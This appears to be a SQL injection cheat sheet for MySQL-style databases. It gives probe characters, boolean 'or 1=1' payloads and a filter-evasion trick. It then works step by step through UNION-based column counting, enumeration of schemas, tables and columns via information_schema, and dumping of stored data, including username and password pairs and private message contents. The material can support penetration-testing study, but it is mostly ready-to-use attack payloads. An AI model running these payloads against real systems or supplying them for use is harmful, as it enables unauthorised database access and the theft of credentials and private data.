Identifying SQL Injection Vulnerability Parameters
Comments in SQL
-- MySQL Linux style
--+ MySQL Windows style
# Hash (URL encode while use)
--+- SQL comment
;%00 Null Byte
` Backtick
To ascertain SQL injection vulnerability in parameters, test various symbols and observe any error or unusual behavior. Common symbols include:
id=[Nothing]
id='
id=''
id="
id=`
id=')
id=")
id=`)
id='))
id="))
id=`))
Examples of SQL Injection Testing
Perform SQL injection testing with different payloads. If the payload results in an error or unexpected behavior, it might indicate a vulnerability. Examples include:
1 or 1=1 -- true
1' or 1=1 -- true
1" or 1=1 -- true
1 and 1=2 -- false
-- Example: id=1'OR+1=1+--
Obfuscating SQL for evading detection mechanisms or filters in certain environments
SELECT/**//*FROM/**/users/**/WHERE/**/username/**/='admin';
Finding the Number of Columns
Identifying the number of columns is crucial for successful exploitation. Use the group by clause to determine the column count:
Method 1: Error-Based Approach
group by 1,2,3,4,5,6,7,8,9 --
-- Example: id=group+by+1,2,3,4,5,6,7,8,9+--
Method 2: Union-Based Approach
UNION ALL SELECT 1,2,3,4,5,6,7,8,9 --
-- Example: id=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9+--
Retrieving Table Names
Once you know the number of columns, you can extract information such as schema names:
Error-Based Approach to find Databases
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata --
-- Example: UniOn+Select+gRoUp_cOncaT(0x7c,schema_name,0x7c),2,3,4+fRoM+information_schema.schemata+--
-- This example when we have 4 columns
Exploring found Databases to find tables
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...+--
-- Example: UniOn+Select+gRoUp_cOncaT(0x7c,table_name,0x7C),2,3,4+fRoM+information_schema.tables+wHeRe+table_schema='school'+--
Exploring founded Tables to columns
Suppose we find, users, accounting, id, email, in school Tables:
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
-- Example: UniOn+Select+gRoUp_cOncaT(0x7c,column_name,0x7C),2,3,4+fRoM+information_schema.columns+wHeRe+table_name='users'+--
It’s the same as describing users.
Now we’ve got our Table columns name, table name so, it’s time to view content:
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...{DB_name}.{table_name}+--
-- Example: UniOn+Select+gRoUp_cOncaT(0x7c,username,':',password,0x7C),2,3,4+fRoM+school.users+--
If DB_Name = mango Table_Name = messages columns_Name is = id, user_from, user_to, message_content. Then, to dump content
UniOn+Select+gRoUp_cOncaT(0x7c,id,':',user_from,':',user_to,':',message_content,0x7C),2,3,4+fRoM+mango.messages+--
